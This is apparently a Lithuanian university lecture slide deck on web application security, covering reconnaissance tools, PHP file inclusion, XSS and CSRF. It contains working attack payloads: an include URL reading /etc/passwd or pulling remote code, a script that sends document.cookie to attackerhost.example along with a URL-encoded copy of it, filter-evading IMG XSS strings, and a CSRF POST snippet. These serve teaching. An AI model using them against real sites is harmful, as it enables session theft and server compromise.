WWW aplikacijų saugumas 2 Rolandas Griškevičius rolandas.griskevicius@fm.vgtu.lt MSN: rgrisha@hotmail.com http://fmf.vgtu.lt/~rgriskevicius 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 1
Įrankiai Google Į paieškos lauką įvedam site:www.delfi.lt filetype:php Pilnas paieškos operatorių sąrašas: http://www.googleguide.com/advanced_operators.html Google kaip proxy: Aprašyta čia: http://oreilly.com/pub/h/4807 Pvz: http://www.google.com/translate?langpair=en en&u=www.forbiddensite.com 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 2
Įrankiai 2 Server Sniffers: http://www.serversniff.net: Parodo serverio: DNS registratcijos įrašus Parodo visus serverio resurso: URL'us Komentarus Nmap online: http://nmap-online.com/ Skenuoja nutolusio IP atidarytus portus. 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 3
Įrankiai 3 http://www.domaintools.com/ - DNS informacija www.archive.org - Interneto archyvas. Galima pamatyti senesnes puslapių versijas http://whatismyipaddress.com - suranda IP pagal šalį nslookup netcat, socat -l klausymosi režimas -p portas -e kokią programą vykdyti esant susijungimui -v vykdymo vizualizacija 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 4
Įrankiai 4 Web puslapio analizė. Sutelkiamas dėmesys į form, input, komentarus <?..?> <% %> grep Dažniausiai prireikia: -i case insensitive -d <read recurse...> - kaip elgtis su katalogais -A -B <n> - atvaizduoti n eilučių po prieš surastąją labai praverčia regexp žinojimas: google grep regexp 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 5
IP tikrinimas Pagal šalį. Automatizuotas DB atsisiuntimas: wget software77.net/geo-ip?dl=1 -O IpToCountry.csv.gz Pagal proxy: Automatizuoto atsisiuntimo nėra, bet įmanoma rasti robotą : http://www.proxy4free.com/index.html Registruojant vartotoją pravartu tikrinti taip pat DNS bei pašto hosterius http://msmvps.com/blogs/spywaresucks/archive/2008/01/16 /1465721.aspx 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 6
Include Tai lankstus ir patogus mechanizmas Galima dinamiškai keisti puslapio turinį, tačiau Naudojamas nesaugiai gali sudaryti saugumo problemų Visiška skylė : <?php include($_get['content']);?> http://vulnerable.site/index.php?content=/etc/passwd http://vulnerable.site/index.php? content=http://malicious.com/exec.php php include[_once] vs require[_once] Apsisaugojimas tikrinimas pagal sarašą, ID, etc 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 7
TOP 1 pagal owasp.org XSS Galima vartotojui pakišti bet kokį JavaScript ir html kodą Pirminiame etape yra nukreipta prieš vartotoją, o ne aplikaciją Pasekmės: Pavogtas sesijos ID apsimetimo kitu vartotoju galimybė Galima pakeisti puslapio vaizdą, phishing atakos galimybė Galima skenuoti vartotojo tinklą 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 8
Vienpusis duomenų valymas Jei duomenys valomi tik įvedimo metu: apėjus įvedimo tikrinimą į puslapį injektuojamas javascript'as su cookie vagystės funkcija OS/lib/apache sanitize input display.php save.php DB buggy script 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 9
XSS 2 Kenkėjas užregistruoja puslapį kur nors free hosting'e Patalpina ten scriptą, pvz cookiesteal.cgi, kuris į failą išsaugo visus atėjusius GET Belieka injektuoti kenkėjišką JavaScript'ą: <SCRIPT> document.location= 'http://attackerhost.example/cgibin/cookiesteal.cgi?'+document.cookie </SCRIPT> 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 10
Nekaltas XSS Iš pažiūros šiukšlių krūva, tačiau iš tikrųjų užkoduotas JavaScript http://host/a.php?variable=%22%3e%3c %73%63%72%69%70%74%3e%64%6f%63%75%6d %65%6e%74%2e%6c%6f%63%61%74%69%6f%6e %3d%27%68%74%74%70%3a%2f%2f %77%77%77%2e %63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b%69%65%2e%63%67%69%3f %27%20%2b%64%6f%63% 75%6d%65%6e %74%2e%63%6f%6f%6b%69%65%3c%2f %73%63%72%69%70%74%3e 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 11
IMG (ir pan.) XSS http://ha.ckers.org/xss.html <IMG SRC=javascript:alert('XSS')> Be <script> </script> tag'ų!!! <IMG SRC= javascript:alert(string.fromcharcode(88,83,83))> <IMG SRC=javasc ript:al
 1;rt('XSS'& #41;> Taip pat galimi XSS tag'ai : BGSOUND, <BR SIZE="&{alert('XSS')}">, LAYER, <LINK REL=.../>, STYLE, META, IFRAME, FRAMESET etc 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 12
CSRF Vienas iš pavojingiausių atakos tipų Labai sunku nustatyti, kad vartotojas buvo nekaltas 2 sąlygos: Automatinė autentifikacija naudojant cookie arba GET XSS pažeidžiamumas Tokiu atveju į serverį yra siunčiamas injektuotas GET kodas ir jis suveikia, nes Serveris mato tą patį IP Cookie yra tas pats, nes kreipiasi ta pati naršyklė, standartinėmis savo priemonėmis Vartotojas apie tai nieko nežino 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 13
CSRF su POST CSRF veikia su su POST, panaudojus XMLHTTP objektą Firefox - xmlhttprequest <script> var post_data = 'name=value'; var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("post", 'http://url/path/file.ext', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readystate == 4) { alert(xmlhttp.responsetext); } }; xmlhttp.send(post_data); </script> 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 14